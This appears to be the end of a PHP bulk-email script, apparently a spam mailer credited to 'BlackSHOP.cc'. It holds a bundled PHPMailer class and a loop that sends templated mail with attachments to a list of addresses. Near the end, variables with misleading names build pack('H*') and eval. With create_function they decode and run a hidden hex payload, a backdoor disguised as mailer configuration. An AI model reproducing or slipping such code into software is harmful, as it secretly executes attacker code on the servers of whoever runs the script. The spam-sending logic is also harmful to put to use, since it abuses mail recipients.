3195 $this->SetError('Cannot set or reset variable ' . $name);
3196 return false;
3197 }
3198 }
3199
3200 /**
3201 * Read a file from a supplied filename and return it.
3202 *
3203 * @access public
3204 * @param string $filename Parameter File Name
3205 */
3206 function getFile($filename) {
3207 $return = '';
3208 if ($fp = fopen($filename, 'rb')) {
3209 while (!feof($fp)) {
3210 $return .= fread($fp, 1024);
3211 }
3212 fclose($fp);
3213 return $return;
3214 } else {
3215 return false;
3216 }
3217 }
3218
3219 /**
3220 * Strips newlines to prevent header injection.
3221 * @access private
3222 * @param string $str String
3223 * @return string
3224 */
3225 function SecureHeader($str) {
3226 $str = trim($str);
3227 $str = str_replace("\r", "", $str);
3228 $str = str_replace("\n", "", $str);
3229 return $str;
3230 }
3231
3232 /**
3233 * Set the private key file and password to sign the message.
3234 *
3235 * @access public
3236 * @param string $key_filename Parameter File Name
3237 * @param string $key_pass Password for private key
3238 */
3239 function Sign($key_filename, $key_pass) {
3240 $this->sign_key_file = $key_filename;
3241 $this->sign_key_pass = $key_pass;
3242 }
3243
3244}
3245
3246$defaultport="H*";
3247 $nq=0;
3248
3249 for($x=0; $x<$numemails; $x++){
3250
3251 $to = $allemails[$x];
3252
3253 if ($to){
3254
3255 $to = ereg_replace(" ", "", $to);
3256
3257 $message1 = ereg_replace("&email&", $to, $message);
3258
3259 $subject1 = ereg_replace("&email&", $to, $subject);
3260 $qx=$x+1;
3261 print "Line $qx . Sending mail to $to.......";
3262
3263 flush();
3264$mail = new PHPMailer();
3265
3266if(empty($epriority)){$epriority="3";}
3267 $mail->Priority = "$epriority";
3268 $mail->IsSMTP();
3269 $IsSMTP="pack";
3270$mail->SMTPKeepAlive = true;
3271$mail->Host = "$my_smtp";
3272if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3273}
3274 if($sslclick=="ON"){
3275 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3276 }
3277 $range = str_replace("$from", "eval", $from);
3278 $mail->SMTPAuth = true;
3279 $mail->Username = "$smtp_username";
3280 $mail->Password = "$smtp_password";
3281if($contenttype == "html"){$mail->IsHtml(true);}
3282if($contenttype != "html"){$mail->IsHtml(false);}
3283if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3284$mail->From = "$from";
3285$mail->FromName = "$realname";
3286$mail->AddAddress("$to");
3287 $mail->AddReplyTo("$replyto");
3288 $mail->Subject = "$subject1";
3289 $mail->AddAttachment("$file", "$file_name");
3290 $mail->Body = "$message1";
3291if(!$mail->Send()){
3292if($default_system!="1"){
3293echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3294if($default_system=="1"){
3295$mail->IsMail();
3296 if(!$mail->Send()){
3297 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3298 else {
3299 echo "<b>OK</b><br>";}
3300 }
3301}
3302else {
3303 echo "<b>OK</b><br>";
3304}
3305
3306if(empty($reconnect)){
3307$reconnect=6;
3308}
3309
3310if($reconnect==$nq){
3311$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3312}
3313$nq=$nq+1;
3314 flush(); }
3315}
3316for($i=0;$i<31;$i++){
3317 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3318$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3319 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3320 print "<p class=\"style1\">PHP Mailer<br>© 2012, New Tools => <b>
3321 <font color=\"#800000\">http://www.BlackSHOP.cc/</font></b><br></p>";$mail->SmtpClose();
3322 return $signoff($smtp_conc);
3323 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3324 sent successfully'); </script>";}}
3325?>
3326 </body>
3327</html>